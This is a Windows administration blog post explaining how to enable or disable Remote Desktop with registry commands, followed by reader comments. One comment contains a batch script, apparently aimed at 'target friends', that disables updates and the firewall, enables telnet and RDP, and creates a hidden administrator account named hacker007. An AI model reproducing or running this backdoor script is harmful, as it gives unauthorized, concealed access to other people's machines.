≡ Menu

Enable remote desktop from command line (CMD)

Remote desktop can be enabled/disabled by opening My computer properties and then by changing the settings in the ‘Remote‘ tab. We can do the same by editing registry key settings. This is explained below. Remote desktop is also called Terminal services or TS or RDP. This is an in-built remote desktop software for Windows users.

Enable remote desktop from CMD

  • Open registry editor by running regedit from Run.
  • Go to the node
    HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server
  • Change the data of the value fDenyTSConnections to 0.

We can enable remote desktop from windows command line by running the following command.

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

To disable remote desktop we need to run the below command.

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 1 /f

Reboot or logoff is not required after running the above command. I have tested this on Windows XP and Windows 7 and it has worked fine. It would work fine on Windows Vista too.

Enable Remote assistance:

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fAllowToGetHelp /t REG_DWORD /d 1 /f

Relevant Posts:
Run command for Remote Desktop
Remote desktop and Terminal Services : Frequently asked questions

32 comments… add one
  • Brian

    Thanks for sharing this.. I want to enable and disable remote desktop to test a scenario. I need to do this repeatedly so was looking for command line way of the same.

  • Jo

    Thanks so much! This was very helpful. One hint to those that follow – I found that if I copied & pasted directly from this page – the ” symbols were corrupted and gave me a different character set which did not work in the bat file. You have to either paste as text or delete & retype the “s.

    • admin

      Thanks Jo for pointing that out. Now I have placed the commands in a code block ; copy & paste would work fine.

  • Mike

    How do you go a step further and add in the trusted users/groups for remote desktop? It puts in administrators by default, but I have to manually go in and add “domain users” to each machine.

    • admin

      Option 1:
      You can run the below command for each user you want to allow to connect remotely.

      net localgroup “Remote Desktop Users” Domain\Loginid /add

      Option 2:
      If you have a group of domain users and want to allow the whole group to do remote desktop on the computer, you can do that as well with a single command. Just replace the loginid in the above command with the group name.

      net localgroup “remote desktop users” “group name”  /add

      example:

       net localgroup “remote desktop users” “domain users”  /add
  • Danish

    Thanx for this cool tip it helped me in creating my batch file which maybe dangerous for my target friends… :)

    @echo off
    
    REM ****************
    REM Disable off "AUTO UPDATE"
    REM ****************
    sc config wuauserv start= disabled
    net stop wuauserv
    
    REM ****************
    REM Disable windows xp Firewall
    REM ****************
    netsh firewall set opmode disable
    
    REM ****************
    REM Enable TELNET
    REM ****************
    sc config tlntsvr start= auto
    net start telnet
    
    REM ****************
    REM Enable Remote Desktop
    REM ****************
    reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
    
    REM ***************
    REM Create a HIDDEN USER usr= hack007, pass= dani
    REM ***************
    net user hacker007 dani /add
    net localgroup "Administrators" /add hacker007
    net localgroup "Users" /del hacker007
    reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v hacker007 /t REG_DWORD /d 0 /f
    reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system /v dontdisplaylastusername /t REG_DWORD /d 1 /f
    • businesscat

      I want to create something like this as well but there’s a few problems

  • shivam

    great job. thank u

  • ddunc

    So, i take the given command line to enable or disable the remote access, but it tells me Error: Access denied

    what do i do?

    • admin

      I guess you are not running it from elevated command prompt.

  • Aditya Malviya

    I have a question to
    Danish November 10, 2011 at 8:35 pm Feed.

    How can we determine target machine? By the code posted by Danish.

    • James

      mstsc /v: /f

      Where /f = full screen

    • James

      /v:–specifies the name of the computer to connect to.
      /f–starts the connection in a full screen.
      /w:–specifies the width of the remote desktop screen.
      /h:–specifies the height of the remote desktop screen

      eg
      mstsc /v: JD2043614 /f

  • Yasir Abbas

    Thank you for your information..

  • Abdulmusawwir

    Awesome…
    Thanks man…

  • Masood Mustufa

    How can i add specific IPs to allow remote session?
    Regards,
    m@s00d

    • ScareWare

      you may have to configure your firewall to allow only certain IPs to connect to 3389. I’m sure Terminal Services also has some built in filters too…

  • Rosdi MS

    Thank! good shared

  • Nitin B

    Thank you for suggestion.
    Please send me your email id. i can learn many more.

  • Prasad Chandorkar

    Thanks, This post help me lot.

  • karthik

    hi danish,
    this batch file will act on every Windows edition

  • Onokurhu

    im in the same network with my junior,i want to enable his remote access over the network.i can ping his computer and respond.i have his computer name and i.p address.network users are not in domain,they are in workgroup.how can you assist me without going to the user’s desk?

    • dfs

      You could use PsExec to open an remote command prompt. Thus you need to download PsTools Suite from Microsoft Tech-Net.

  • Eugene

    Hi, i need to disable/enable remote desktop on my server during the time i run some automation. The tip you suggested works on all of my servers except for the one that i really need. Would you know of any other parameter that could disable that registry key?

  • Thuso Mokopotsa

    Thank you cmd

  • Matthew Bradley

    Yeah, this doesn’t work. You’re missing one critical step – opening the firewall
    netsh firewall set service remotedesktop enable

  • Mikhail

    mstsc /v:SERVER /admin

  • Dan

    lol lol lol thank you Matthew Bradley, I couldn’t find this vital piece of information for like 20 minutes on google.

  • Al

    I wonder can anyone write a script like that to automate this whole thing (including firewall, elevated cmd line etc)? C+ may be. May be even for a reasonable donation))

  • Dipali Matkar

    Why to enable RDP from command line? Simple use remote access tools.

  • Scott

    HUGE help, I’m in MA, remote system in CA, no one in the office right now. I’m running Teamviewer for remote access and I just upgraded. Post upgrade the system is almost entirely hung, can’t do much of anything (though I can run a command prompt). I enabled RDP, logged on and reinstalled TV. Thanks so much!

  • add user as well
    net user username password /add
    net localgroup administrators USER_ACCOUNT /add

Leave a Comment